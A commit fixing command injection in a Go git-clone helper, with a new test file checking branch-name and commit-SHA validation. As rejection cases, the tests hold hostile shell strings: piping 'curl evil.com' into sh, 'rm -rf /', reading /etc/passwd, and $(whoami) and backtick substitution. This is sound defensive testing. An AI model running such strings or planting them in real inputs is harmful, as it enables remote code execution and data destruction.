fix: prevent command injection in git clone arguments (closes #18)

- Validate branch names against ^[a-zA-Z0-9._/\-]+$
- Validate commit SHAs against ^[0-9a-f]{40}$
- Pass repo URL, branch, and SHA via environment variables instead of
  interpolating into shell script string
- Add comprehensive tests for validation and injection rejection

internal/docker/validation_test.go

@@ -0,0 +1,139 @@
+package docker
+
+import (
+	"errors"
+	"log/slog"
+	"testing"
+)
+
+func TestValidBranchRegex(t *testing.T) {
+	valid := []string{
+		"main",
+		"develop",
+		"feature/my-feature",
+		"release-1.0",
+		"v1.2.3",
+		"fix/issue_42",
+		"my.branch",
+	}
+	for _, b := range valid {
+		if !validBranchRe.MatchString(b) {
+			t.Errorf("expected branch %q to be valid", b)
+		}
+	}
+
+	invalid := []string{
+		"main; curl evil.com | sh",
+		"branch$(whoami)",
+		"branch`id`",
+		"branch && rm -rf /",
+		"branch | cat /etc/passwd",
+		"",
+		"branch name with spaces",
+		"branch\nnewline",
+	}
+	for _, b := range invalid {
+		if validBranchRe.MatchString(b) {
+			t.Errorf("expected branch %q to be invalid (potential injection)", b)
+		}
+	}
+}
+
+func TestValidCommitSHARegex(t *testing.T) {
+	valid := []string{
+		"abc123def456789012345678901234567890abcd",
+		"0000000000000000000000000000000000000000",
+		"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+	}
+	for _, s := range valid {
+		if !validCommitSHARe.MatchString(s) {
+			t.Errorf("expected SHA %q to be valid", s)
+		}
+	}
+
+	invalid := []string{
+		"short",
+		"abc123",
+		"ABCDEF1234567890123456789012345678901234", // uppercase
+		"abc123def456789012345678901234567890abcd; rm -rf /",
+		"$(whoami)000000000000000000000000000000000",
+		"",
+	}
+	for _, s := range invalid {
+		if validCommitSHARe.MatchString(s) {
+			t.Errorf("expected SHA %q to be invalid (potential injection)", s)
+		}
+	}
+}
+
+func TestCloneRepoRejectsInjection(t *testing.T) {
+	c := &Client{
+		log: slog.Default(),
+	}
+
+	tests := []struct {
+		name      string
+		branch    string
+		commitSHA string
+		wantErr   error
+	}{
+		{
+			name:    "shell injection in branch",
+			branch:  "main; curl evil.com | sh #",
+			wantErr: ErrInvalidBranch,
+		},
+		{
+			name:    "command substitution in branch",
+			branch:  "$(whoami)",
+			wantErr: ErrInvalidBranch,
+		},
+		{
+			name:    "backtick injection in branch",
+			branch:  "`id`",
+			wantErr: ErrInvalidBranch,
+		},
+		{
+			name:      "injection in commitSHA",
+			branch:    "main",
+			commitSHA: "not-a-sha; rm -rf /",
+			wantErr:   ErrInvalidCommitSHA,
+		},
+		{
+			name:      "short SHA rejected",
+			branch:    "main",
+			commitSHA: "abc123",
+			wantErr:   ErrInvalidCommitSHA,
+		},
+		{
+			name:      "valid inputs pass validation (hit NotConnected)",
+			branch:    "main",
+			commitSHA: "abc123def456789012345678901234567890abcd",
+			wantErr:   ErrNotConnected,
+		},
+		{
+			name:    "valid branch no SHA passes validation (hit NotConnected)",
+			branch:  "main",
+			wantErr: ErrNotConnected,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			_, err := c.CloneRepo(
+				t.Context(),
+				"git@example.com:repo.git",
+				tt.branch,
+				tt.commitSHA,
+				"fake-key",
+				"/tmp/container",
+				"/tmp/host",
+			)
+			if err == nil {
+				t.Fatal("expected error, got nil")
+			}
+			if !errors.Is(err, tt.wantErr) {
+				t.Errorf("expected error %v, got %v", tt.wantErr, err)
+			}
+		})
+	}
+}